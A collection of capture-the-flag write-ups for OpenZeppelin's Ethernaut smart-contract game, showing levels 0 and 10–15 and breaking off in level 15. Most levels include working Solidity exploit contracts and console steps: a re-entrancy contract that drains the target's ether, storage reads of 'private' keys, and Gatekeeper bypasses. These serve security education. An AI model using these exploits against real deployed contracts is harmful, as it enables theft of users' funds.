├── README.md
├── level_0_Hello-Ethernaut.md
├── level_10_Re-entrancy.md
├── level_11_Building.md
├── level_12_Privacy.md
├── level_13_Gatekeeper-One.md
├── level_14_Gatekeeper-Two.md
├── level_15_Naught-Coin.md
├── level_16_Preservation.md
├── level_17_Recovery.md
├── level_18_Magic-Number.md
├── level_19_Alien-Codex.md
├── level_1_Fallback.md
├── level_20_Denial.md
├── level_21_Shop.md
├── level_22_Dex.md
├── level_23_Dex-Two.md
├── level_24_Puzzle-Wallet.md
├── level_25_Motorbike.md
├── level_26_Double-Entry-Point.md
├── level_2_Fallout.md
├── level_3_Coin-Flip.md
├── level_4_Telephone.md
├── level_5_Token.md
├── level_6_Delegation.md
├── level_7_Force.md
├── level_8_Vault.md
└── level_9_King.md
/README.md:
--------------------------------------------------------------------------------
1 | # Openzeppelin Ethernaut Hacks
2 | Hacks to Openzeppelin's [Ethernaut](https://ethernaut.openzeppelin.com/) smart contract challenges.
3 |
4 | Posts available on [DEV](https://dev.to/thenvn/series/16194)
5 |
6 | Find me on twitter [here](https://twitter.com/the_nvn) 🙏
7 |
--------------------------------------------------------------------------------
/level_0_Hello-Ethernaut.md:
--------------------------------------------------------------------------------
1 | # Level 0: Hello Ethernaut
2 |
3 | This is the level 0 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - Basics of [web3js](https://web3js.readthedocs.io/en/v1.5.2/getting-started.html)
7 |
8 | ## Hack
9 | I assume you've read instructions of the level 0 and acquired test ether. The level contract methods are injected right into our browser console, so we can start calling methods.
10 |
11 | Let's start.
12 | The instructions asks to call this method in console:
13 |
14 | ```javascript
15 | await contract.info()
16 |
17 | // Output: 'You will find what you need in info1().'
18 | ```
19 |
20 | We follow the output and call:
21 | ```javascript
22 | await contract.info1()
23 |
24 | // Output: 'Try info2(), but with "hello" as a parameter.'
25 | ```
26 |
27 | Following...
28 | ```javascript
29 | await contract.info2("hello")
30 |
31 | // Output: 'The property infoNum holds the number of the next info method to call.'
32 | ```
33 |
34 | To get `infoNum` we call it's public getter:
35 | ```javascript
36 | await contract.infoNum().then(v => v.toString())
37 |
38 | // Output: 42
39 | ```
40 | Note that `infoNum()` returns a BigNumber object so we convert it to string to see actual number.
41 |
42 | Proceeding with `info42`:
43 | ```javascript
44 | await contract.info42()
45 |
46 | // Output: 'theMethodName is the name of the next method.'
47 | ```
48 |
49 | Again, following output:
50 | ```javascript
51 | await contract.theMethodName()
52 |
53 | // Output: 'The method name is method7123949.'
54 | ```
55 |
56 | And so:
57 | ```javascript
58 | await contract.method7123949()
59 |
60 | // Output: 'If you know the password, submit it to authenticate().'
61 | ```
62 |
63 | Ok...but what's the password? Let's inspect the contracts ABI:
64 | ```javascript
65 | contract
66 |
67 | // Output: { abi: ..., address: ..., ...., password: f () }
68 | ```
69 |
70 | Upon inspecting we see there's a `password` method for contract. Let's call it:
71 |
72 | ```javascript
73 | await contract.password()
74 |
75 | // Output: 'ethernaut0`
76 | ```
77 |
78 | We got the password. Finally:
79 | ```javascript
80 | await contract.authenticate('ethernaut0')
81 | ```
82 | and confirm the transaction on metamask. Submit instance.
83 |
84 | Level completed!
85 |
86 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
87 |
88 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
89 |
90 |
--------------------------------------------------------------------------------
/level_10_Re-entrancy.md:
--------------------------------------------------------------------------------
1 | # Level 10: Re-entrancy
2 |
3 | This is the level 10 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - Solidity contract [receive](https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995) function
7 | - [call](https://docs.soliditylang.org/en/v0.6.0/types.html#address) method of addresses
8 | - [Re-entrancy Attack](https://consensys.github.io/smart-contract-best-practices/known_attacks/) on Ethereum
9 |
10 | ## Hack
11 |
12 | Given contract:
13 |
14 | ```solidity
15 | // SPDX-License-Identifier: MIT
16 | pragma solidity ^0.6.0;
17 |
18 | import '@openzeppelin/contracts/math/SafeMath.sol';
19 |
20 | contract Reentrance {
21 |
22 | using SafeMath for uint256;
23 | mapping(address => uint) public balances;
24 |
25 | function donate(address _to) public payable {
26 | balances[_to] = balances[_to].add(msg.value);
27 | }
28 |
29 | function balanceOf(address _who) public view returns (uint balance) {
30 | return balances[_who];
31 | }
32 |
33 | function withdraw(uint _amount) public {
34 | if(balances[msg.sender] >= _amount) {
35 | (bool result,) = msg.sender.call{value:_amount}("");
36 | if(result) {
37 | _amount;
38 | }
39 | balances[msg.sender] -= _amount;
40 | }
41 | }
42 |
43 | receive() external payable {}
44 | }
45 | ```
46 |
47 | `player` has to steal all of the contract's funds.
48 |
49 | To those interested, the Re-entrancy attack was responsible for the [infamous DAO hack of 2016](https://www.gemini.com/cryptopedia/the-dao-hack-makerdao#section-what-is-a-dao) which shook the whole Ethereum community. $60 million dollars of funds were stolen. Later, Ethereum blockchain was hard forked to restore stolen funds, but not all parties consented to decision. That led to splitting of network into distinct chains - Ethereum and Ethereum Classic.
50 |
51 | First let's see amount stored in `Reentrace`:
52 | ```javascript
53 | await getBalance(contract.address)
54 |
55 | // Output: '0.001'
56 | ```
57 |
58 | which is `0.001` ether or `1000000000000000` wei.
59 |
60 | We're going to attack `Reentrance` with our written contract `ReentranceAttack`. Deploy it with target contract (`Reentrance`) address:
61 |
62 | ```solidity
63 | // SPDX-License-Identifier: MIT
64 | pragma solidity ^0.6.0;
65 |
66 | interface IReentrance {
67 | function donate(address _to) external payable;
68 | function withdraw(uint _amount) external;
69 | }
70 |
71 | contract ReentranceAttack {
72 | address public owner;
73 | IReentrance targetContract;
74 | uint targetValue = 1000000000000000;
75 |
76 | constructor(address _targetAddr) public {
77 | targetContract = IReentrance(_targetAddr);
78 | owner = msg.sender;
79 | }
80 |
81 | function balance() public view returns (uint) {
82 | return address(this).balance;
83 | }
84 |
85 | function donateAndWithdraw() public payable {
86 | require(msg.value >= targetValue);
87 | targetContract.donate.value(msg.value)(address(this));
88 | targetContract.withdraw(msg.value);
89 | }
90 |
91 | function withdrawAll() public returns (bool) {
92 | require(msg.sender == owner, "my money!!");
93 | uint totalBalance = address(this).balance;
94 | (bool sent, ) = msg.sender.call.value(totalBalance)("");
95 | require(sent, "Failed to send Ether");
96 | return sent;
97 | }
98 |
99 | receive() external payable {
100 | uint targetBalance = address(targetContract).balance;
101 | if (targetBalance >= targetValue) {
102 | targetContract.withdraw(targetValue);
103 | }
104 | }
105 | }
106 | ```
107 |
108 | Now call `donateAndWithdraw` of `ReentranceAttack` with value of `1000000000000000` (`0.001` ether) and chain reaction starts:
109 | - First `targetContract.donate.value(msg.value)(address(this))` causes the `balances[msg.sender]` of `Reentrance` to set to sent amount. `donate` of `Reentrance` finishes it's execution
110 | - Immediately after, `targetContract.withdraw(msg.value)` invokes withdraw of `Reentrance`, which sends the same donated amount back to `ReentranceAttack`.
111 | - `receive` of `ReentranceAttack` is invoked. Note that `withdraw` hasn't finished execution yet! So still `balances[msg.sender]` is equal to initially donated amount. Now we call `withdraw` of `ReentranceAttack` again in receive.
112 | - Second invocation of `withdraw` executes and it's passes the `require` statement this time again! So, it sends the `msg.sender` (`ReentranceAttack` address) that amount again!
113 | - Simple arithmetic plays out and recursive execution is halted only when balance of `Reentrance` is reduced to 0.
114 |
115 | And for the final blow withdraw stolen amount currently stored in `ReentranceAttack` to `player` address by calling `withdrawAll`.
116 |
117 | Verify by checking `Reentrance`'s balance:
118 | ```javascript
119 | await getBalance(contract.address)
120 |
121 | // Output: '0'
122 | ```
123 |
124 | Hacked!
125 |
126 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
127 |
128 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
129 |
130 |
--------------------------------------------------------------------------------
/level_11_Building.md:
--------------------------------------------------------------------------------
1 | # Level 11: Building
2 |
3 | This is the level 11 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - Solidity [interfaces](https://docs.soliditylang.org/en/v0.8.10/contracts.html#interfaces)
7 |
8 | ## Hack
9 |
10 | Given contract:
11 |
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | interface Building {
17 | function isLastFloor(uint) external returns (bool);
18 | }
19 |
20 |
21 | contract Elevator {
22 | bool public top;
23 | uint public floor;
24 |
25 | function goTo(uint _floor) public {
26 | Building building = Building(msg.sender);
27 |
28 | if (! building.isLastFloor(_floor)) {
29 | floor = _floor;
30 | top = building.isLastFloor(floor);
31 | }
32 | }
33 | }
34 | ```
35 |
36 | `player` has to set `top` to `true` i.e. have to reach top of the building.
37 |
38 | But `Elevator` won't let you.... if you comply by the `Building` so religiously. So let's not get so disciplined ;)
39 |
40 | Alright so, `goTo` calls the contract at `msg.sender` address that implements `Building` interface to determined if `_floor` is last floor.
41 |
42 | Okay, then we'll create a contract `MyBuilding` that inherits `Building` and therefore implements `isLastFloor`:
43 |
44 | ```solidity
45 | // SPDX-License-Identifier: MIT
46 | pragma solidity ^0.6.0;
47 |
48 | interface Building {
49 | function isLastFloor(uint) external returns (bool);
50 | }
51 |
52 | interface IElevator {
53 | function goTo(uint _floor) external;
54 | }
55 |
56 | contract MyBuilding is Building {
57 | bool public last = true;
58 |
59 | function isLastFloor(uint _n) override external returns (bool) {
60 | last = !last;
61 | return last;
62 | }
63 |
64 | function goToTop(address _elevatorAddr) public {
65 | IElevator(_elevatorAddr).goTo(1);
66 | }
67 | }
68 | ```
69 |
70 | But...although we did implement `isLastFloor` we won't use `_floor` param anywhere to determine if it's last floor. We are not obliged to anyway ;)
71 |
72 | We just alternate between returning `true` and `false`, so that 1st call will return `false` and 2nd call returns `true` and so on.
73 |
74 | Simply call `goToTop` of `MyBuilding`, with `contract.address` of instance. That'll trigger `Elevator` to call `isLastFloor` of our contract - `MyBuilding`. And since second call sets `top` variable, it is set to `true`.
75 |
76 | Verify in console:
77 | ```javascript
78 | await contract.top()
79 |
80 | // Output: true
81 | ```
82 |
83 | Started from the bottom now we here (`top`) !
84 |
85 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
86 |
87 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
88 |
89 |
--------------------------------------------------------------------------------
/level_12_Privacy.md:
--------------------------------------------------------------------------------
1 | # Level 12: Privacy
2 |
3 | This is the level 12 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [Fixed size byte arrays](https://docs.soliditylang.org/en/v0.8.7/types.html#fixed-size-byte-arrays)
7 | - [Layout of State Variables](https://docs.soliditylang.org/en/v0.8.7/internals/layout_in_storage.html#) in a Solidity contract
8 | - [Reading storage](https://web3js.readthedocs.io/en/v1.5.2/web3-eth.html#getstorageat) at a slot
9 |
10 | ## Hack
11 | Given contract:
12 |
13 | ```solidity
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | contract Privacy {
18 |
19 | bool public locked = true;
20 | uint256 public ID = block.timestamp;
21 | uint8 private flattening = 10;
22 | uint8 private denomination = 255;
23 | uint16 private awkwardness = uint16(now);
24 | bytes32[3] private data;
25 |
26 | constructor(bytes32[3] memory _data) public {
27 | data = _data;
28 | }
29 |
30 | function unlock(bytes16 _key) public {
31 | require(_key == bytes16(data[2]));
32 | locked = false;
33 | }
34 |
35 | /*
36 | A bunch of super advanced solidity algorithms...
37 |
38 | ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
39 | .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
40 | *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
41 | `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
42 | ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
43 | */
44 | }
45 | ```
46 |
47 | `player` has to set `locked` state variable to `false`.
48 |
49 | This is similar to level 8: Vault where any state variable (irrespective of whether it is `private`) can be read given it's slot number.
50 |
51 | `unlock` uses the third entry (index 2) of `data` which is a `bytes32` array. Let's determined `data`'s third entry's slot number (each slot can accommodate at most 32 bytes) according to storage rules:
52 |
53 | - `locked` is 1 byte `bool` in slot 0
54 | - `ID` is a 32 byte `uint256`. It is 1 byte extra big to be inserted in slot 0. So it goes in & totally fills slot 1
55 | - `flattening` - a 1 byte `uint8`, `denomination` - a 1 byte `uint8` and `awkwardness` - a 2 byte `uint16` totals 4 bytes. So, all three of these go into slot 2
56 | - Array data always start a new slot, so `data` starts from slot 3. Since it is `bytes32` array each value takes 32 bytes. Hence value at index 0 is stored in slot 3, index 1 is stored in slot 4 and index 2 value goes into slot 5
57 |
58 | Alright so key is in slot 5 (index 2 / third entry). Read it.
59 |
60 | ```javascript
61 | key = await web3.eth.getStorageAt(contract.address, 5)
62 |
63 | // Output: '0x5dd89f7b81030395311dd63330c747fe293140d92dbe7eee1df2a8c233ef8d6d'
64 | ```
65 |
66 | This `key` is 32 byte. But `require` check in `unlock` converts the `data[2]` 32 byte value to a `byte16` before matching.
67 |
68 | `byte16(data[2])` will truncate the last 16 bytes of `data[2]` and return only the first 16 bytes.
69 |
70 | Accordingly convert `key` to a 16 byte hex (with prefix - `0x`):
71 | ```javascript
72 | key = key.slice(0, 34)
73 |
74 | // Output: 0x5dd89f7b81030395311dd63330c747fe
75 | ```
76 |
77 | Call `unlock` with `key`:
78 |
79 | ```javascript
80 | await contract.unlock(key)
81 | ```
82 |
83 | Unlocked! Verify by:
84 | ```javascript
85 | await contract.locked()
86 |
87 | // Output: false
88 | ```
89 |
90 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
91 |
92 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
93 |
94 |
--------------------------------------------------------------------------------
/level_13_Gatekeeper-One.md:
--------------------------------------------------------------------------------
1 | # Level 13: Gatekeeper One
2 |
3 | This is the level 13 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin)
7 | - [gasleft](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html#block-and-transaction-properties) function
8 | - Solidity [opcode](https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2) basics
9 | - [Explicit Conversion](https://docs.soliditylang.org/en/v0.8.3/types.html#explicit-conversions) between types
10 |
11 | ## Hack
12 | Given contract:
13 | ```solidity
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | import '@openzeppelin/contracts/math/SafeMath.sol';
18 |
19 | contract GatekeeperOne {
20 |
21 | using SafeMath for uint256;
22 | address public entrant;
23 |
24 | modifier gateOne() {
25 | require(msg.sender != tx.origin);
26 | _;
27 | }
28 |
29 | modifier gateTwo() {
30 | require(gasleft().mod(8191) == 0);
31 | _;
32 | }
33 |
34 | modifier gateThree(bytes8 _gateKey) {
35 | require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
36 | require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
37 | require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
38 | _;
39 | }
40 |
41 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
42 | entrant = tx.origin;
43 | return true;
44 | }
45 | }
46 | ```
47 |
48 | `player` has to pass all `require` checks and set `entrant` to `player` address.
49 |
50 | We start with following `GatePassOne` to attack:
51 | ```solidity
52 | // SPDX-License-Identifier: MIT
53 | pragma solidity ^0.6.0;
54 |
55 | contract GatePassOne {
56 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
57 | bytes8 gateKey = bytes8(tx.origin);
58 | (bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey));
59 | return success;
60 | }
61 | }
62 | ```
63 |
64 | ### gateOne
65 | This is exactly same as level 4. A basic intermediary contract will be used to call `enter`, so that `msg.sender` != `tx.origin`.
66 |
67 | ### gateTwo
68 | According to this one, the remaining gas just after `gasleft` is called, should be a multiple of 8191. We can control the gas amount sent with transaction using `call`. But it need to be set in such a way that amount set minus amount used up until `gasleft`'s return should be a multiple of 8191.
69 |
70 | I'm going to use Remix's Debug feature and a little bit of trial & error to determine the remaining gas up until to that point. But first copy & deploy `GatekeeperOne` in Remix with `JavaScript VM` environment (since trials are quick & Debug on testnet didn't work on Remix for me!), with same solidity compiler version. Also deploy `GateKeeperOneGasEstimate` with same environment, to help with estimating gas used up to that point:
71 |
72 | ```solidity
73 | // SPDX-License-Identifier: MIT
74 | pragma solidity ^0.6.0;
75 |
76 | contract GateKeeperOneGasEstimate {
77 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
78 | bytes8 gateKey = bytes8(uint64(tx.origin));
79 | (bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey));
80 | return success;
81 | }
82 | }
83 | ```
84 |
85 | Initially choose a random fixed gas amount (but big enough) to send with transaction. Let's say `90000`. And call `enterGate` of `GateKeeperOneGasEstimate` with address of our deployed `GatekeeperOne` (from Remix, not Ethernaut's!) and the chosen gas. Now hit `Debug` button in Remix console against the mined transaction. Focus on left pane.
86 |
87 | See the list of opcodes executed corresponding to our contract execution. Step over (or drag progress bar) until the line with `gasleft` is highlighted:
88 | ```
89 | 289 JUMPDEST
90 | 290 PUSH1 ..
91 | 292 PUSH2 ..
92 | 295 GAS
93 | 296 PUSH2
94 | .
95 | .
96 | .
97 | 139 RETURN
98 | ```
99 | Step here and there to locate the `GAS` opcode which corresponds to `gasleft` call. Proceed just one step more (to `PUSH2` here) and note the "remaining gas" from **Step Detail** just below. In my case it's `89746`. Hence gas used up to that point:
100 |
101 | ```
102 | gasUsed = _gas - remaining_gas
103 | or, gasUsed = 90000 - 89746
104 | or, gasUsed = 254
105 | ```
106 |
107 | Now, we have `gasUsed` and we want set a `_gas` such that `gasLeft` returns a multiple of 8191. One such value would be:
108 |
109 | ```
110 | _gas = (8191 * 8) + gasUsed
111 | or, _gas = (8191 * 8) + 254
112 | or, _gas = 65782
113 | ```
114 | (Note that I randomly chose `8` to multiply to 8191, you can choose any as log as sufficient gas is provided for transaction)
115 |
116 | So `_gas` should probably be `65782` to pass the check. But, the target `GateKeeperOne` contract (Ethernaut's instance) on Rinkeby network must've had a little bit of different compile time options. So correct `_gas` is not necessarily `65782`, but a close one. Let's pick a reasonable margin around `65782` and call `enter` for all values around `65782` with that margin. A margin of `64` worked for me. Let's update `GatePassOne`:
117 |
118 | ```solidity
119 | contract GatePassOne {
120 | event Entered(bool success);
121 |
122 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
123 | bytes8 key = bytes8(uint64(tx.origin));
124 |
125 | bool succeeded = false;
126 |
127 | for (uint i = _gas - 64; i < _gas + 64; i++) {
128 | (bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key));
129 | if (success) {
130 | succeeded = success;
131 | break;
132 | }
133 | }
134 |
135 | emit Entered(succeeded);
136 |
137 | return succeeded;
138 | }
139 | }
140 | ```
141 |
142 | Calling `enterGate` with `GateKeeper` address and `65782`, params should now clear `gateTwo`.
143 |
144 | ### gateThree
145 |
146 | This has checks that involves explicit conversions between `uint`s. It can be inferred from third `require` statement that the `_gateKey` should be extracted from `tx.origin` through casting while satisfying other checks.
147 |
148 | `tx.origin` will be the `player` which in my case is:
149 | ```
150 | 0xd557a44ed144bf8a3da34ba058708d1b4bc0686a
151 | ```
152 | We should be concerned with only 8 bytes of it since `_gateKey` is `bytes8` (8 byte size) type. And specifically last 8 bytes of it, since `uint` conversions retain the last bytes.
153 |
154 | So, 8 bytes portion (say, `key`) of our interest:
155 | ```
156 | key = 58 70 8d 1b 4b c0 68 6a
157 | ```
158 |
159 | Accordingly, `uint32(uint64(key)) = 4b c0 68 6a`.
160 |
161 | To satisfy third `require`, it is needed that:
162 | ```
163 | uint32(uint64(key)) == uint16(tx.origin)
164 | or, `4b c0 68 6a = 68 6a
165 | ```
166 | which is only possible by masking with `00 00 ff ff` , such that:
167 | ```
168 | 4b c0 68 6a & 00 00 ff ff = 68 6a
169 | ```
170 |
171 | So, `mask = 00 00 ff ff`
172 |
173 | The first `require` is satisfied by:
174 | ```
175 | uint32(uint64(_gateKey)) == uint16(uint64(key)
176 | or, 4b c0 68 6a = 68 6a
177 | ```
178 | which is same problem as previous one and can be achieved with same, previous value of `mask`.
179 |
180 | The second `require` asks to satisfy:
181 | ```
182 | uint32(uint64(key)) != uint64(key)
183 | or, 4b c0 68 6a != 58 70 8d 1b 4b c0 68 6a
184 | ```
185 |
186 | We modify the mask to:
187 | ```
188 | mask = ff ff ff ff 00 00 ff ff
189 | ```
190 | so that it satisfies:
191 | ```
192 | 00 00 00 00 4b c0 68 6a & ff ff ff ff 00 00 ff ff != 58 70 8d 1b 4b c0 68 6a
193 | ```
194 | while also satisfying other two `require`s.
195 |
196 | Hence the `_gateKey` should be:
197 | ```
198 | _gateKey = key & mask
199 | or, _gateKey = 58 70 8d 1b 4b c0 68 6a & ff ff ff ff 00 00 ff ff
200 | ```
201 | Finally, update `GatePassOne` to reflect it.
202 |
203 | ```solidity
204 | contract GatePassOne {
205 | event Entered(bool success);
206 |
207 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
208 | bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff;
209 |
210 | bool succeeded = false;
211 |
212 | for (uint i = _gas - 64; i < _gas + 64; i++) {
213 | (bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key));
214 | if (success) {
215 | succeeded = success;
216 | break;
217 | }
218 | }
219 |
220 | emit Entered(succeeded);
221 |
222 | return succeeded;
223 | }
224 | }
225 | ```
226 |
227 | That was quite a level. But victory!
228 |
229 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
230 |
231 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
232 |
233 |
--------------------------------------------------------------------------------
/level_14_Gatekeeper-Two.md:
--------------------------------------------------------------------------------
1 | # Level 14: Gatekeeper Two
2 |
3 | This is the level 14 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin)
7 | - [Solidity Assembly](https://docs.soliditylang.org/en/v0.4.23/assembly.html) & [caller & extcodesize](https://docs.soliditylang.org/en/v0.4.23/assembly.html#opcodes) opcodes.
8 |
9 | ## Hack
10 | Given contract:
11 |
12 | ```
13 | contract GatekeeperTwo {
14 |
15 | address public entrant;
16 |
17 | modifier gateOne() {
18 | require(msg.sender != tx.origin);
19 | _;
20 | }
21 |
22 | modifier gateTwo() {
23 | uint x;
24 | assembly { x := extcodesize(caller()) }
25 | require(x == 0);
26 | _;
27 | }
28 |
29 | modifier gateThree(bytes8 _gateKey) {
30 | require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
31 | _;
32 | }
33 |
34 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
35 | entrant = tx.origin;
36 | return true;
37 | }
38 | }
39 | ```
40 |
41 | `player` has to set itself as `entrant`, like the previous level.
42 |
43 | We are going to implement `GatePassTwo` contract to attack:
44 | ```
45 | // SPDX-License-Identifier: MIT
46 | pragma solidity ^0.6.0;
47 |
48 | contract GatePassTwo {
49 | ...
50 | }
51 | ```
52 |
53 | ### gateOne
54 | This is exactly same as level 4. An intermediary contract (`GatePassTwo` here) will be used to call `enter`, so that `msg.sender` != `tx.origin`.
55 |
56 | ### gateTwo
57 | Second check involves solidity assembly code - specifically `caller` and `extcodesize` functions. `caller()` is nothing but sender of message i.e. `msg.sender` which will be address of `GatePassTwo`.
58 | `extcodesize(addr)` returns the size of contract at address `addr`. So, `x` is assigned the size of the contract at `msg.sender` address. But size of a contract is always going to be non-zero. And to pass check, `x` must zero!
59 |
60 | Here's the trick. See the footer note of Ethereum [Yellow Paper](https://ethereum.github.io/yellowpaper/paper.pdf) on page 11:
61 | _"During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account..."_
62 |
63 | Rings some bells? During creation/initialization of the contract the `extcodesize()` returns 0. So we're going to put the malicious code in `constructor` itself. Since it is the `constructor` that runs during initialization, any calls to `extcodesize()` will return 0. Update `GatePassTwo` accordingly (ignore `key` for now):
64 |
65 | ```
66 | // SPDX-License-Identifier: MIT
67 | pragma solidity ^0.6.0;
68 |
69 | contract GatePassTwo {
70 | constructor(address _gateAddr) public {
71 | bytes8 key = bytes8(uint64(address(this)));
72 | address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key));
73 | }
74 | ```
75 | This will pass `gateTwo`.
76 |
77 | ### gateThree
78 | Third check is basically some manipulation with `^` XOR operator.
79 |
80 | As is visible from the equality check:
81 | ```
82 | uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
83 | ```
84 |
85 | `_gateKey` must be derived from `msg.sender` (in `GatekeeperTwo`), which is same as `address(this)` in our `GatePassTwo`.
86 |
87 | The `uint64(0) - 1` on RHS is max value of `uint64` integer (due to underflow). Hence, in hex representation:
88 | ```
89 | uint64(0) - 1 = 0xffffffffffffffff
90 | ```
91 |
92 | By nature of XOR operation:
93 | ```
94 | If, X ^ Y = Z
95 | Then, Y = X ^ Z
96 | ```
97 |
98 | Using this XOR property, it can be deduced that:
99 | ```
100 | uint64(_gateKey) == uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff)
101 | ```
102 |
103 | So, correct `key` can be calculated in solidity as:
104 | ```solidity
105 | bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff))
106 | ```
107 |
108 | Final update to `GatePassTwo`:
109 |
110 | ```solidity
111 | // SPDX-License-Identifier: MIT
112 | pragma solidity ^0.6.0;
113 |
114 | contract GatePassTwo {
115 | constructor(address _gateAddr) public {
116 | bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff));
117 | address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key));
118 | }
119 | }
120 | ```
121 |
122 | Now deploy `GatePassTwo` with address of `GatekeeperTwo`, which will result in execution of malicious `constructor` code. And that will eventually register `player` as `entrant`.
123 |
124 | Passed!
125 |
126 |
127 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
128 |
129 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
130 |
131 |
--------------------------------------------------------------------------------
/level_15_Naught-Coin.md:
--------------------------------------------------------------------------------
1 | # Level 15: Naught Coin
2 |
3 | This is the level 15 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) spec
7 | - OpenZeppelin's [ERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol) token codebase
8 |
9 | ## Hack
10 | Given contract:
11 | ```
12 | // SPDX-License-Identifier: MIT
13 | pragma solidity ^0.6.0;
14 |
15 | import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
16 |
17 | contract NaughtCoin is ERC20 {
18 |
19 | // string public constant name = 'NaughtCoin';
20 | // string public constant symbol = '0x0';
21 | // uint public constant decimals = 18;
22 | uint public timeLock = now + 10 * 365 days;
23 | uint256 public INITIAL_SUPPLY;
24 | address public player;
25 |
26 | constructor(address _player)
27 | ERC20('NaughtCoin', '0x0')
28 | public {
29 | player = _player;
30 | INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
31 | // _totalSupply = INITIAL_SUPPLY;
32 | // _balances[player] = INITIAL_SUPPLY;
33 | _mint(player, INITIAL_SUPPLY);
34 | emit Transfer(address(0), player, INITIAL_SUPPLY);
35 | }
36 |
37 | function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
38 | super.transfer(_to, _value);
39 | }
40 |
41 | // Prevent the initial owner from transferring tokens until the timelock has passed
42 | modifier lockTokens() {
43 | if (msg.sender == player) {
44 | require(now > timeLock);
45 | _;
46 | } else {
47 | _;
48 | }
49 | }
50 | }
51 | ```
52 |
53 | `player` is given `totalSupply` of a ERC20 Token - Naught Coin, but cannot transact them before 10 year lockout period. `player` has to get its token balance to 0.
54 |
55 |
56 | The trick here is that `transfer` is not the only method in `ERC20`(and hence, in `NaughtCoin` too) that includes code for transfer of tokens between addresses.
57 |
